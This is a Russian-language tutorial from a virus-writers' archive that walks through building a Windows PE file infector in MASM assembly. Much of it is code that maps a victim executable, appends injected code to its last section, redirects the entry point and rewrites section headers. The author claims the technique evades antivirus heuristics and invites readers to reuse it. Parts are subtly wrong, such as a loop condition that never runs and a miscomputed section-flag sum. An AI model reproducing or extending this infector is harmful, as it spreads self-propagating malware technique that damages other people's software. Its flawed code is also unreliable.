Maximize
Bookmark

VX Heaven

Library Collection Sources Engines Constructors Simulators Utilities Links Forum

Инфектор PE-файлов

Bill Prisoner
2005

[Вернуться к списку] [Комментарии]

Введение

Добрый вечер дамы и господа! Если вы читаете этот документ, то вы наверное прочитали знакомые слова в названии статьи или вы новичок и хотите узнать больше о компьютерной вирусологии. А может Вы просто щелкнули на ссылку в броузере из-за любопытства. Ну ладно, не будет превращать эту статью в низкосортное литературное произведение, и перейдем ближе к делу. В этой статье мы напишем инфектор-PE файлов. Эта статья описывает: во-первых, как заражать исполняемые файлы (PE - Portable Executable) в операционной системе Windows, во-вторых, процесс создания Windows-приложений на ассемблере, в-третьих, некоторые системные механизмы ОС семейства Windows. Эта статья не претендует на оригинальность, а просто, возможно, добавит Вам некоторые новые знания в области операционных систем Windows. Мы создадим пользовательский интерфейс для нашего инфектора, и опишем действия которые нужны для заражения PE-файлов. Инфектор, возможно, не учитывает всех тонкостей, но этот материал даст Вам пищу для размышлений.

Способ заражения

Заражать файл мы будем с помощью метода добавления кода в последнюю секцию. Это не оригинальный способ, но он реально работает, и Вы можете его использовать в своих работах, несколько модифицировав. Как Вы знаете, в PE-файле есть секции, которые содержат материал для приложения, т.е. код, данные, ресурсы, информация для отладчика, информация о базовых поправках, таблица импорта/экспорта и т.д. Принципиально секции различаются по атрибутам. Т.е. например секция .text(для компиляторов от Microsoft), которая содержит код для исполнения приложением, имеет атрибуты: Code, Executable, Readable. Так же и все остальные секции. Секции которые содержаться в PE-файле описываются в таблице секций. Это массив структур, в которых содержится вся необходимая информация о секции. Это кратко о секциях. Мы просто ищем в таблице секций максимальное смещение секции в файле(!). В конец этой секции мы записываем наш код, а также с учетом файлового смещения(File Alignment) забиваем нулями остальное место. После того как наш код вставлен необходимо модифицировать таблицу секций, а также сам заголовок PE-файла (PE header). Вот действия по шагам, которые Вам надо сделать, чтобы заразить PE-файл:

  1. Находим последнюю секцию виртуально и физически.
  2. Проверка, не равен ли размер последней секции нулю.
  3. Если нет, то записываем в конец секции код вируса.
  4. Выравниваем новую секцию с учетом файлового выравнивания.
  5. Правим виртуальный и физический размеры секций.
  6. Правим точку входа.
  7. Правим размер образа - ImageSize=VirtualSize+VirtualAddress
  8. Правим - характеристики - на 0А0000020h

Чтобы что-то записывать в исполняемый файл я буду использовать файловую проекцию(FileMapping). File Mapping - это механизм позволяющий работать с файлом как будто он находиться в оперативной памяти. Мы записываем данные в память, а на самом деле мы записываем их в файл. Этот механизм достаточно широко используется при программировании приложений для Windows, а также его использует сама ОС, например при запуске исполняемого файла на выполнение (функцией CreateProcess(...)). Файловый мэппинг используется как механизм для связи между процессами, если создать общий раздел памяти.

Обеспечиваем доступ к данным в файле

Давайте же приступим, наконец, к кодированию. У нас есть файл PE-формата. И Вы, естественно, должны знать структуру PE-файла. Вкратце рассмотрим этот формат. Вот его общая структура (взята из книги Мета Питрека ╚Секреты системного программирования для Windows 95╩):

PE file

Исчерпывающие определения структур вы найдете в файле WINNT.H. Названия структур в WINNT.H, которые соответствуют структурам PE-файла:

IMAGE_DOS_HEADER
DOS .EXE header
IMAGE_FILE_HEADER
файловый заголовок
IMAGE_OPTIONAL_HEADER
опциональный заголовок. Опциональным называется потому, что при создании PE-формата разработчики предполагали, что структура этого заголовка будет варьироваться от разных реализаций. ╚Опциональный╩ не означает, что он может быть, а может и не быть, как считают некоторые.
IMAGE_SECTION_HEADER
элемент, в таблице секций который, описывает каждую секцию в исполняемом файле.

Если Вас интересуют какие-то поля, то смотрите их в заголовочном файле WINNT.H.

Для заражения мы проецируем файл-жертву в память с помощью моей любимой функции CreateFileMapping:

        invoke  CreateFile,ofn1.lpstrFile,GENERIC_READ or
                GENERIC_WRITE,FILE_SHARE_READ,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL
                                                ;открываем файл для проецирования
                                                ;с помощью функции CreateFile указываем на
                                                ;каком носителе находиться файл
        .IF eax==INVALID_HANDLE_VALUE           ;если файла нет, то выходим
                jmp     error
        .ENDIF
        mov     hFileTo,eax                     ;хэндл файла в hFileTo
        invoke  GetFileSize,hFileTo,NULL        ;получить размер exe файла
        mov     edi,eax
        invoke  GetFileSize,hFileFrom,NULL      ;получить размер файла, где находиться код для заражения
        add     eax,7                           ;7 байт занимает код для восстановления в точку входа
        mov     ecx,eax                         ;код далее высчитывает размер нового файла с учетом размера
                                                ;внедряемого кода и файлового
                                                ;выравнивания
        mov     ebx,4096
        dec     ebx
        add     ecx,ebx
        not     ebx
        and     ecx,ebx                         ;
        add     edi,ecx                         ;в еcx теперь размер файла с учетом вставки нового кода
                                                ;формула для вычисления размера с учетом выравнивания
                                                ;(x+(y-1))&(~(y-1)), где x - размер без выравнивания,
                                                ;y - выравнивающий фактор
        invoke  CreateFileMapping,hFileTo,NULL,PAGE_READWRITE,0,edi,NULL
                                                ;создаем проекцию файла для чтения и записи
        .IF eax==NULL
                jmp     error
        .ENDIF
        mov     hFileMappingTo,eax
        invoke  MapViewOfFile,hFileMappingTo,FILE_MAP_WRITE,0,0,0
                                                ;передаем физическую ;память для данного файла в
                                                ;память
        .IF eax==NULL
                jmp     error
        .ENDIF
        mov     hMappingTo,eax                  ;адрес в адресном пространстве текущего процесс для
                                                ;спроецируемого файла в hMappingTo
 

Здесь надо немного пояснить код, если Вы вдруг чего-нибудь не поняли. С проецированием должно быть все понятно. Важно учитывать, что инфектор должен восстанавливать точку входа, т.е. после выполнения Вашего внедренного кода, код должен прыгнуть на нормальную точку входа программы. 7 байт занимает этот прыжок. Расширение последней секции происходит, учитывая файловое выравнивание. Формула для быстрого подсчета размера с учетом выравнивания дана в комментариях к коду. Например, у Вас есть значение 1322, а выравнивающий фактор 400, то выровненное значение будет равно 1600. При передаче физической памяти, передаем весь файл полностью. После этого кода, по адресу обозначенному меткой hMappingTo будет находиться виртуальный адрес начала exe-файла-жертвы. Файл, откуда берется код для заражения также проецируется, но вы могли взять данные для заражения каким-либо другим способом. Это же относиться и к файлу-жертве.

Путешествуем по PE файлу и вылавливаем нужные для нас данные

Здесь мы будем вылавливать данные из файлового и опционального заголовка, нужные нам для заражения. Вот что нам необходимо: количество секций, адрес точки входа, выравнивающий фактор, адрес размера образа, база образа, точка входа, указатель на характеристики секции, указатель на характеристики последней секции, размеры(!) секции. Если вы видите, что лишняя переменная выделена, например адрес точки входа и точка входа, то это было сделано сознательно для более лучшего усвоения материала, более четкой структурированности. Естественно, Вы можете улучшить этот код, оптимизируя его или подстраивая его под свои требования. После получения нужных данных проходим по таблице секций и ищем секцию с максимальным физическим смещением в файле(!).

;------------------------Работа с PE-заголовком------------
;-----------получаем количество секций и проходим до опционального заголовка-----
        mov     edi,hMappingTo
        assume  edi:ptr IMAGE_DOS_HEADER
        add     edi,[edi].e_lfanew              ;в edi - PE заголовок
        add     edi,4                           ;в edi - адрес файлового заголовка
        assume  edi:ptr IMAGE_FILE_HEADER
        push    [edi].NumberOfSections
        pop     NumberOfSections
        add     edi,sizeof IMAGE_FILE_HEADER    ;в edi - адрес опционального заголовка
        assume  edi:ptr IMAGE_OPTIONAL_HEADER
;-----------------------------получаем VA точки входа чтобы потом ее перебить
        mov     EntryPoint,edi
        add     EntryPoint,16
;-----------------------------получаем выравнивание секций
        push    [edi].FileAlignment
        pop     FileAlignment
;-----------------------------получаем адрес ImageSize
        mov     pImageSize,edi
        add     pImageSize,56
;-----------------------------получаем базу PE-файла
        push    [edi].ImageBase
        pop     Base
;-----------------------------получаем точку входа
        push    [edi].AddressOfEntryPoint
        pop     Point
;-----------------------------переходим в таблицу секций и ищем последнюю секцию
        add     edi,sizeof IMAGE_OPTIONAL_HEADER;в edi - адрес таблицы секций
        assume  edi:ptr IMAGE_SECTION_HEADER
        mov     MaxOffset,0
        xor     ecx,ecx
        mov     cx,NumberOfSections
        .WHILE ecx<0                            ;цикл поиска смещения в файле последней секции.
                                                ;на выходе в MaxOffset - смещение относительно
                                                ;начала файла последней секции
                mov     eax,MaxOffset
                .IF [edi].PointerToRawData&gt   ;eax;если размер этой секции больше предыдущего, то...
                        push    [edi].PointerToRawData
                        pop     MaxOffset               ;смещение в файле
                        push    [edi].SizeOfRawData
                        pop     SizeOfLastSection       ;размер последней секции
                        mov     pSizeOfLastSection,edi
                        add     pSizeOfLastSection,16   ;указатель на характеристики
                        mov     pVSizeOfLastSection,edi
                        add     pVSizeOfLastSection,8   ;указатель на виртуальный размер
                        mov     eax,[edi].VirtualAddress
                        mov     esi,[edi].SizeOfRawData
                        add     eax,esi                 ;в eax размер секции с учетом выравнивания
                        mov     SizeOfRawData,eax
                        mov     eax,[edi].VirtualAddress;виртуальный адрес в eax
                        mov     VirtualAdd,eax
                        mov     pCharacters,edi
                        add     pCharacters,36          ;адрес характеристик последней секции
                .ENDIF
                add     edi,sizeof IMAGE_SECTION_HEADER ;в edi - адрес следующей секции
                dec     ecx
        .ENDW
;------------------------End Работа с PE-заголовком----------------------
        mov     edi,pSizeOfLastSection          ; проверяем, не нулевая ли последняя секция?
        mov     eax,dword ptr [edi]             ; размер секции в eax
        .IF eax==0
                invoke  MessageBox,0,offset SectionError,offset ErrorTitle,0
        .ENDIF
 

В таблице секций, VirtualSize соответствует размеру секции без выравнивания, а SizeOfRawData с учетом файлового выравнивания. По-моему, название VirtualSize выбрано не очень подходящее. На выходе из этого кода в MaxOffset получаем смещение последней секции.

Внедряем код

Код мы будем внедрять из области памяти в которую был спроецирован файл с данными. Команды для внедрения Вы должны сформировать самостоятельно в шелл-код стиле. Сразу после окончания Вашего кода инфектор добавляет инструкцию перехода на нормальную точку входа программы. Эта инструкция занимает 7 байт памяти. Запись кода производиться не с конца кода последней секции, а со смещения кратного файловому смещению. Этим ходом мы и обманываем современные антивирусы и соответственно их эвристические анализаторы. Для Вас задание: сделать этот код в 2 раза короче. Это возможно.

;-----------------------------внедряем код------------------------
        cld
        mov     edi,hMappingTo
        mov     eax,MaxOffset
        add     eax,SizeOfLastSection
        add     edi,eax                         ;в edi - конец последней секции,
                                                ;т.е адрес с которого начинать запись
        mov     esi,hMappingFrom                ;в hMappingFrom - адрес кода
                                                ;который нужно записать
        invoke  GetFileSize,hFileFrom,NULL
        mov     ecx,eax
        rep     movsb                           ;внедряем код
        mov     esi,offset code
        mov     eax,dword ptr [esi]
        mov     dword ptr [edi],eax
        inc     esi
        inc     edi
        mov     eax,Base
        add     eax,Point
        mov     dword ptr [edi],eax
        add     edi,4
        add     esi,4
        mov     eax,dword ptr [esi]
        mov     dword ptr [edi],eax
        inc     edi
        inc     esi
        mov     eax,dword ptr [esi]
        mov     dword ptr [edi],eax
        inc     edi
        inc     esi
        mov     eax,dword ptr [esi]
        mov     dword ptr [edi],eax
 

Далее заполняем нулями оставшуюся часть памяти, учитывая опять же смещение:

;--------------это типа для заполнения нулями оставшейся части для учета FileAlignment----
        invoke  GetFileSize,hFileFrom,NULL
        add     eax,7
        mov     ecx,eax
        mov     ebx,FileAlignment
        dec     ebx
        add     ecx,ebx
        not     ebx
        and     ecx,ebx                         ;ecx=(x+(y-1))&(~(y-1))
        mov     esi,edi
        add     edi,ecx
        sub     edi,eax
        .WHILE 1
                mov     byte ptr [esi],0
                inc     esi
                .IF     esi==edi
                        .BREAK
                .ENDIF
        .ENDW
 

Вот и все код внедрен, осталось поправить некоторые значения в PE-файле.

Правка значений PE-файла

;-----------------------------записываем новый размер последней секции
        mov     eax,MaxOffset
        add     eax,hMappingTo
        sub     edi,eax
        mov     esi,pSizeOfLastSection
        mov     [esi],edi                       ;записываем новый размер секции в таблицу секций
        mov     esi,pVSizeOfLastSection
        mov     ecx,[esi]
        mov     ebx,FileAlignment
        dec     ebx
        add     ecx,ebx
        not     ebx
        and     ecx,ebx                         ;ecx=(x+(y-1))&(~(y-1))
        mov     dword ptr [esi],ecx
        invoke  GetFileSize,hFileFrom,NULL      ;виртуальный размер - размер секции без файлового
                                                ;выравнивания
        add     eax,7
        add     [esi],eax                       ;записывает виртуальный размер секции
        mov     eax,dword ptr [esi]
        push    eax
        mov     esi,EntryPoint
        mov     eax,SizeOfRawData
        mov     [esi],eax                       ;меняем точку входа
        pop     eax
        mov     esi,pImageSize
        mov     edi,ImageSize
        add     edi,eax
        mov     [esi],edi                       ;изменяем ImageSize
        mov     esi,pCharacters
        mov     dword ptr [esi],0A0000020h      ;правим характеристики секции
 

Все изменяемые поля тривиальны и говорят сами за себя, кроме Characteristics. Это атрибуты секций. Вот список возможных атрибутов:

#define IMAGE_SCN_CNT_CODE                      0x00000020      //Секция содержит код
#define IMAGE_SCN_CNT_INITIALIZED_DATA          0x00000040      //Секция содержит инициализированные данные
#define IMAGE_SCN_CNT_UNINITIALIZED_DATA        0x00000080      //Секция содержит
                                                                //неинициализированные данные
#define IMAGE_SCN_LNK_NRELOC_OVFL               0x01000000      //Секция содержит расширенные поправки
#define IMAGE_SCN_MEM_DISCARDABLE               0x02000000      //Секция может быть игнорирована
#define IMAGE_SCN_MEM_NOT_CACHED                0x04000000      //Секция не кешируема
#define IMAGE_SCN_MEM_NOT_PAGED                 0x08000000      //Секция не сбрасывается в страничный файл
#define IMAGE_SCN_MEM_SHARED                    0x10000000      //Общая секция
#define IMAGE_SCN_MEM_EXECUTE                   0x20000000      //Секция выполняемая
#define IMAGE_SCN_MEM_READ                      0x40000000      //Секция для чтения
#define IMAGE_SCN_MEM_WRITE                     0x80000000      //Секция для записи
 

Мы устанавливаем следующие атрибуты - Секция содержит код, для чтения и для записи:

0x00000020 + 0x40000000 + 0x80000000= 0xa0000020

Программа PeInfector

Здесь содержится полный код инфектора. Сначала создается окно. Когда окну посылается сообщение WM_CREATE, то на нем создается три кнопки и два edit-бокса. Программа использует директивы masm32 и соответственно предназначена для его компилятора. Здесь можно скачать файл для внедрения, который показывает простой MessageBox.

Скачать peinfector.asm

Компиляция

\masm32\bin\ml.exe /c /coff work.asm
\masm32\bin\link.exe /SUBSYSTEM:WINDOWS work.obj

[C] Bill Prisoner / TPOC

[Вернуться к списку] [Комментарии]
By accessing, viewing, downloading or otherwise using this content you agree to be bound by the Terms of Use! vxer.org aka vx.netlux.org
deenesitfrplruua